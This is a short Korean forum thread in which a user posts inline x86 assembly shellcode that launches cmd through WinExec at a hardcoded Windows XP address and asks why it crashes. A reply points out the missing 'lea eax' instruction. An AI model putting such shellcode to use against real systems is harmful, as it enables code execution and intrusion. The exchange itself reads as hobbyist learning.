윈도우

bellfive2000의 이미지

몇몇 문서를 보고 Shellcode를 실행하게 해봤는데..

에러 케이스가 나고 프로그램이 종료됩니다.

__asm{
push ebp
mov ebp, esp
xor edi, edi
push edi
mov byte ptr[ebp-04h], 'c'
mov byte ptr[ebp-03h], 'm'
mov byte ptr[ebp-02h], 'd'
push edi
mov byte ptr[ebp-08h], 03h
push eax
mov eax, 0x7C86136D
call eax

pop eax
pop ebp

}

cmd를 실행시키는 코드인데요..

혹시 현재 Window XP를 쓰고 있는데 XP에서는 저런 공격에 대해서 보완을 했는지 궁금합니다.

제가 디버거로 따라가 보면 메모리에 cmd나 03h가 잘 들어가고.. 0x7C86136D
-> WinExec 주소까지 eax에 들어가는데 call eax 에서 강제 종료되네요.

혹시 경험하신 분계시면 간단히 답변이라도..~
이런 정보는 구하기 힘드네요..

즐거운 하루되세요..~

thinku의 이미지

mov byte ptr[ebp-08h], 03h 다음에
lea eax, [ebp-04h] 가 빠진듯..